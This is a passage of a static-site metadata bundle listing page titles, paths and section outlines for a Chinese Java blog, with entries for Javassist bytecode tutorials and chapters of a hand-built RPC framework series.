栏总结"},{level:3,title:"为自己而学",slug:"为自己而学"},{level:3,title:"每天进步一点点",slug:"每天进步一点点"},{level:2,title:"后续规划",slug:"后续规划"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?",frontmatter:{layout:"post",category:"binghe-code-bytecode",title:"字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?",tagline:"by 冰河",tag:["bytecode","binghe-code-bytecode"],excerpt:"最近和不少小伙伴聊天,发现大部分小伙伴,其中可能就包括正在看文章的你和我,工作时间已经不短了,有些小伙伴工作3~5年了,有些甚至超过8年了。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/bytecode/2022-04-11-001-%E5%B7%A5%E4%BD%9C%E5%A4%9A%E5%B9%B4%E7%9A%84%E4%BD%A0%E4%BE%9D%E7%84%B6%E9%87%8D%E5%A4%8D%E5%81%9A%E7%9D%80CRUD-%E6%98%AF%E5%90%A6%E6%8E%A5%E8%A7%A6%E8%BF%87%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF.html"},{name:"twitter:title",content:"字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?"},{name:"twitter:url",content:"/md/middleware/bytecode/2022-04-11-001-%E5%B7%A5%E4%BD%9C%E5%A4%9A%E5%B9%B4%E7%9A%84%E4%BD%A0%E4%BE%9D%E7%84%B6%E9%87%8D%E5%A4%8D%E5%81%9A%E7%9D%80CRUD-%E6%98%AF%E5%90%A6%E6%8E%A5%E8%A7%A6%E8%BF%87%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/bytecode/2022-04-11-001-%E5%B7%A5%E4%BD%9C%E5%A4%9A%E5%B9%B4%E7%9A%84%E4%BD%A0%E4%BE%9D%E7%84%B6%E9%87%8D%E5%A4%8D%E5%81%9A%E7%9D%80CRUD-%E6%98%AF%E5%90%A6%E6%8E%A5%E8%A7%A6%E8%BF%87%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF.html",relativePath:"md/middleware/bytecode/2022-04-11-001-工作多年的你依然重复做着CRUD-是否接触过这种技术.md",key:"v-cba74cd2",path:"/md/middleware/bytecode/2022-04-11-001-%E5%B7%A5%E4%BD%9C%E5%A4%9A%E5%B9%B4%E7%9A%84%E4%BD%A0%E4%BE%9D%E7%84%B6%E9%87%8D%E5%A4%8D%E5%81%9A%E7%9D%80CRUD-%E6%98%AF%E5%90%A6%E6%8E%A5%E8%A7%A6%E8%BF%87%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF.html",headers:[{level:2,title:"题外话",slug:"题外话"},{level:2,title:"动态字节码技术",slug:"动态字节码技术"},{level:2,title:"如何实现字节码编程",slug:"如何实现字节码编程"},{level:2,title:"字节码编程使用场景",slug:"字节码编程使用场景"},{level:2,title:"入门案例",slug:"入门案例"},{level:3,title:"开发环境",slug:"开发环境"},{level:3,title:"完整代码",slug:"完整代码"},{level:3,title:"案例效果",slug:"案例效果"},{level:3,title:"动手实践",slug:"动手实践"},{level:3,title:"第一次运行程序",slug:"第一次运行程序"},{level:3,title:"配置程序",slug:"配置程序"},{level:3,title:"第二次运行程序",slug:"第二次运行程序"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"字节码编程 | 使用Javassist动态生成Hello World",frontmatter:{layout:"post",category:"binghe-code-bytecode",title:"字节码编程 | 使用Javassist动态生成Hello World",tagline:"by 冰河",tag:["bytecode","binghe-code-bytecode"],excerpt:"字节码编程在实际的业务开发(CRUD)中并不常用,但是随着网络编程,RPC、动态字节码增强技术和自动化测试以及零侵入APM监控的不断发展与大量使用,越来越多的技术需要使用到字节码编程。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"字节码编程 | 使用Javassist动态生成Hello World"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/bytecode/2022-04-11-002-%E4%BD%BF%E7%94%A8Javassist%E5%8A%A8%E6%80%81%E7%94%9F%E6%88%90HelloWorld.html"},{name:"twitter:title",content:"字节码编程 | 使用Javassist动态生成Hello World"},{name:"twitter:url",content:"/md/middleware/bytecode/2022-04-11-002-%E4%BD%BF%E7%94%A8Javassist%E5%8A%A8%E6%80%81%E7%94%9F%E6%88%90HelloWorld.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/bytecode/2022-04-11-002-%E4%BD%BF%E7%94%A8Javassist%E5%8A%A8%E6%80%81%E7%94%9F%E6%88%90HelloWorld.html",relativePath:"md/middleware/bytecode/2022-04-11-002-使用Javassist动态生成HelloWorld.md",key:"v-d4b8b22a",path:"/md/middleware/bytecode/2022-04-11-002-%E4%BD%BF%E7%94%A8Javassist%E5%8A%A8%E6%80%81%E7%94%9F%E6%88%90HelloWorld.html",headers:[{level:2,title:"开发环境",slug:"开发环境"},{level:2,title:"Maven依赖",slug:"maven依赖"},{level:2,title:"案例效果",slug:"案例效果"},{level:2,title:"案例实现",slug:"案例实现"},{level:2,title:"效果演示",slug:"效果演示"},{level:2,title:"案例总结",slug:"案例总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"字节码编程 | 使用Javassist生成JavaBean",frontmatter:{layout:"post",category:"binghe-code-bytecode",title:"字节码编程 | 使用Javassist生成JavaBean",tagline:"by 冰河",tag:["bytecode","binghe-code-bytecode"],excerpt:"在实际工作过程中,我们可以通过对Java的字节码进行插桩,以便拦截我们需要拦截的类和方法,对这些类和方法进行改造或者直接动态生成相应的类来实现拦截的逻辑。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"字节码编程 | 使用Javassist生成JavaBean"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/bytecode/2022-04-11-003-%E4%BD%BF%E7%94%A8Javassist%E7%94%9F%E6%88%90JavaBean.html"},{name:"twitter:title",content:"字节码编程 | 使用Javassist生成JavaBean"},{name:"twitter:url",content:"/md/middleware/bytecode/2022-04-11-003-%E4%BD%BF%E7%94%A8Javassist%E7%94%9F%E6%88%90JavaBean.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/bytecode/2022-04-11-003-%E4%BD%BF%E7%94%A8Javassist%E7%94%9F%E6%88%90JavaBean.html",relativePath:"md/middleware/bytecode/2022-04-11-003-使用Javassist生成JavaBean.md",key:"v-5a0fa5e6",path:"/md/middleware/bytecode/2022-04-11-003-%E4%BD%BF%E7%94%A8Javassist%E7%94%9F%E6%88%90JavaBean.html",headers:[{level:2,title:"开发环境",slug:"开发环境"},{level:2,title:"Maven依赖",slug:"maven依赖"},{level:2,title:"案例效果",slug:"案例效果"},{level:2,title:"案例实现",slug:"案例实现"},{level:3,title:"创建User类",slug:"创建user类"},{level:3,title:"添加name字段",slug:"添加name字段"},{level:3,title:"添加无参构造方法",slug:"添加无参构造方法"},{level:3,title:"添加有参构造方法",slug:"添加有参构造方法"},{level:3,title:"添加get/set方法",slug:"添加get-set方法"},{level:3,title:"添加printName()方法",slug:"添加printname-方法"},{level:2,title:"完整案例",slug:"完整案例"},{level:2,title:"效果演示",slug:"效果演示"},{level:2,title:"案例总结",slug:"案例总结"},{level:2,title:"附录",slug:"附录"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/independent/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/middleware/independent/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/independent/default.html",relativePath:"md/middleware/independent/default.md",key:"v-8cb15cf6",path:"/md/middleware/independent/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/limiter/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/middleware/limiter/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/limiter/default.html",relativePath:"md/middleware/limiter/default.md",key:"v-6031fe45",path:"/md/middleware/limiter/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第01章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架",frontmatter:{layout:"post",category:"binghe-code-rpc",title:"第01章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架",tagline:"by 冰河",tag:["rpc","mykit-rpc","binghe-code-rpc"],excerpt:"Dubbo作为在分布式和微服务领域中,最为杰出的RPC服务治理框架之一,撸透它,不仅能够提升自己的网络编程功底,还能进一步提高自身的架构设计能力。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第01章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-06-25-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B-%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E6%89%8B%E6%92%B8%E4%B8%80%E4%B8%AA%E8%83%BD%E5%9C%A8%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E4%BD%BF%E7%94%A8%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html"},{name:"twitter:title",content:"第01章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架"},{name:"twitter:url",content:"/md/middleware/rpc/2022-06-25-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B-%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E6%89%8B%E6%92%B8%E4%B8%80%E4%B8%AA%E8%83%BD%E5%9C%A8%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E4%BD%BF%E7%94%A8%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-06-25-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B-%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E6%89%8B%E6%92%B8%E4%B8%80%E4%B8%AA%E8%83%BD%E5%9C%A8%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E4%BD%BF%E7%94%A8%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html",relativePath:"md/middleware/rpc/2022-06-25-《RPC手撸专栏》-第1章-开篇-手撸一个能在实际场景使用的RPC框架.md",key:"v-3e43514b",path:"/md/middleware/rpc/2022-06-25-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B-%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E6%89%8B%E6%92%B8%E4%B8%80%E4%B8%AA%E8%83%BD%E5%9C%A8%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E4%BD%BF%E7%94%A8%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html",headers:[{level:2,title:"一、文章总览",slug:"一、文章总览"},{level:2,title:"二、为何转去手撸RPC?",slug:"二、为何转去手撸rpc"},{level:2,title:"三、你能学到什么?",slug:"三、你能学到什么"},{level:2,title:"四、效果演示",slug:"四、效果演示"},{level:3,title:"1.RPC核心注解说明",slug:"_1-rpc核心注解说明"},{level:3,title:"2.效果演示",slug:"_2-效果演示"},{level:2,title:"五、一点点建议",slug:"五、一点点建议"},{level:2,title:"查看完整文章",slug:"查看完整文章"},{level:2,title:"六、关于星球",slug:"六、关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第02章:高性能分布式RPC框架整体架构设计",frontmatter:{title:"第02章:高性能分布式RPC框架整体架构设计",pay:"https://articles.zsxq.com/id_xvd5up1u16nx.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第02章:高性能分布式RPC框架整体架构设计"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-06-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC2%E7%AB%A0-%E9%AB%98%E6%80%A7%E8%83%BD%E5%88%86%E5%B8%83%E5%BC%8FRPC%E6%A1%86%E6%9E%B6%E6%95%B4%E4%BD%93%E8%AE%BE%E8%AE%A1.html"},{name:"twitter:title",content:"第02章:高性能分布式RPC框架整体架构设计"},{name:"twitter:url",content:"/md/middleware/rpc/2022-06-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC2%E7%AB%A0-%E9%AB%98%E6%80%A7%E8%83%BD%E5%88%86%E5%B8%83%E5%BC%8FRPC%E6%A1%86%E6%9E%B6%E6%95%B4%E4%BD%93%E8%AE%BE%E8%AE%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-06-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC2%E7%AB%A0-%E9%AB%98%E6%80%A7%E8%83%BD%E5%88%86%E5%B8%83%E5%BC%8FRPC%E6%A1%86%E6%9E%B6%E6%95%B4%E4%BD%93%E8%AE%BE%E8%AE%A1.html",relativePath:"md/middleware/rpc/2022-06-30-《RPC手撸专栏》第2章-高性能分布式RPC框架整体设计.md",key:"v-48133241",path:"/md/middleware/rpc/2022-06-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC2%E7%AB%A0-%E9%AB%98%E6%80%A7%E8%83%BD%E5%88%86%E5%B8%83%E5%BC%8FRPC%E6%A1%86%E6%9E%B6%E6%95%B4%E4%BD%93%E8%AE%BE%E8%AE%A1.html",headers:[{level:2,title:"一、文章总览",slug:"一、文章总览"},{level:2,title:"二、RPC框架的背景知识",slug:"二、rpc框架的背景知识"},{level:2,title:"三、RPC框架整体架构设计",slug:"三、rpc框架整体架构设计"},{level:2,title:"四、RPC框架核心技术点",slug:"四、rpc框架核心技术点"},{level:3,title:"1.服务注册与发现",slug:"_1-服务注册与发现"},{level:3,title:"2.网络通信协议",slug:"_2-网络通信协议"},{level:3,title:"3.序列化与反序列化",slug:"_3-序列化与反序列化"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第03章:RPC服务核心注解的设计与实现",frontmatter:{title:"第03章:RPC服务核心注解的设计与实现",pay:"https://articles.zsxq.com/id_zr6w6dvgdc95.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第03章:RPC服务核心注解的设计与实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-08-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC3%E7%AB%A0-RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第03章:RPC服务核心注解的设计与实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-08-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC3%E7%AB%A0-RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-08-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC3%E7%AB%A0-RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-08-02-《RPC手撸专栏》第3章-RPC服务核心注解的设计与实现.md",key:"v-8a6567ca",path:"/md/middleware/rpc/2022-08-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC3%E7%AB%A0-RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、文章目录",slug:"一、文章目录"},{level:2,title:"二、目前的RPC框架",slug:"二、目前的rpc框架"},{level:2,title:"三、搭建项目工程",slug:"三、搭建项目工程"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第04章:实现RPC服务核心注解的扫描与解析",frontmatter:{title:"第04章:实现RPC服务核心注解的扫描与解析",pay:"https://articles.zsxq.com/id_bal2cnmw3jbi.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第04章:实现RPC服务核心注解的扫描与解析"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-08-22-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E5%AE%9E%E7%8E%B0RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E6%89%AB%E6%8F%8F%E4%B8%8E%E8%A7%A3%E6%9E%90.html"},{name:"twitter:title",content:"第04章:实现RPC服务核心注解的扫描与解析"},{name:"twitter:url",content:"/md/middleware/rpc/2022-08-22-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E5%AE%9E%E7%8E%B0RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E6%89%AB%E6%8F%8F%E4%B8%8E%E8%A7%A3%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-08-22-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E5%AE%9E%E7%8E%B0RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E6%89%AB%E6%8F%8F%E4%B8%8E%E8%A7%A3%E6%9E%90.html",relativePath:"md/middleware/rpc/2022-08-22-《RPC手撸专栏》第4章-实现RPC服务核心注解的扫描与解析.md",key:"v-45e26602",path:"/md/middleware/rpc/2022-08-22-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E5%AE%9E%E7%8E%B0RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E6%89%AB%E6%8F%8F%E4%B8%8E%E8%A7%A3%E6%9E%90.html",headers:[{level:2,title:"一、文章总体结构",slug:"一、文章总体结构"},{level:2,title:"二、设计思路",slug:"二、设计思路"},{level:2,title:"三、实现通用扫描器",slug:"三、实现通用扫描器"},{level:3,title:"3.1 通用扫描器需求",slug:"_3-1-通用扫描器需求"},{level:3,title:"3.2 通用扫描器实现",slug:"_3-2-通用扫描器实现"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第05章:服务提供者收发消息基础功能实现",frontmatter:{title:"第05章:服务提供者收发消息基础功能实现",pay:"https://articles.zsxq.com/id_df11g9wmm8ad.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第05章:服务提供者收发消息基础功能实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-09-28-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC5%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%94%B6%E5%8F%91%E6%B6%88%E6%81%AF%E5%9F%BA%E7%A1%80%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第05章:服务提供者收发消息基础功能实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-09-28-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC5%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%94%B6%E5%8F%91%E6%B6%88%E6%81%AF%E5%9F%BA%E7%A1%80%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-09-28-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC5%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%94%B6%E5%8F%91%E6%B6%88%E6%81%AF%E5%9F%BA%E7%A1%80%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-09-28-《RPC手撸专栏》第5章-服务提供者收发消息基础功能实现.md",key:"v-1c648cb8",path:"/md/middleware/rpc/2022-09-28-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC5%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%94%B6%E5%8F%91%E6%B6%88%E6%81%AF%E5%9F%BA%E7%A1%80%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心实现类关系",slug:"_2-核心实现类关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第06章:自定义网络传输协议的实现",frontmatter:{title:"第06章:自定义网络传输协议的实现",pay:"https://articles.zsxq.com/id_qgntsrvlljea.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第06章:自定义网络传输协议的实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-09-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC6%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第06章:自定义网络传输协议的实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-09-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC6%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-09-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC6%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-09-30-《RPC手撸专栏》第6章-自定义网络协议的实现.md",key:"v-c3ddf76a",path:"/md/middleware/rpc/2022-09-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC6%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心实现类关系",slug:"_2-核心实现类关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第07章:自定义网络编解码的实现",frontmatter:{title:"第07章:自定义网络编解码的实现",pay:"https://articles.zsxq.com/id_5wqs9pshkwep.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第07章:自定义网络编解码的实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC7%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E7%BC%96%E8%A7%A3%E7%A0%81%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第07章:自定义网络编解码的实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC7%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E7%BC%96%E8%A7%A3%E7%A0%81%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC7%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E7%BC%96%E8%A7%A3%E7%A0%81%E7%9A%84%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-10-02-《RPC手撸专栏》第7章-自定义网络编解码的实现.md",key:"v-95ccd8a2",path:"/md/middleware/rpc/2022-10-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC7%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E7%BC%96%E8%A7%A3%E7%A0%81%E7%9A%84%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心实现类关系",slug:"_2-核心实现类关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 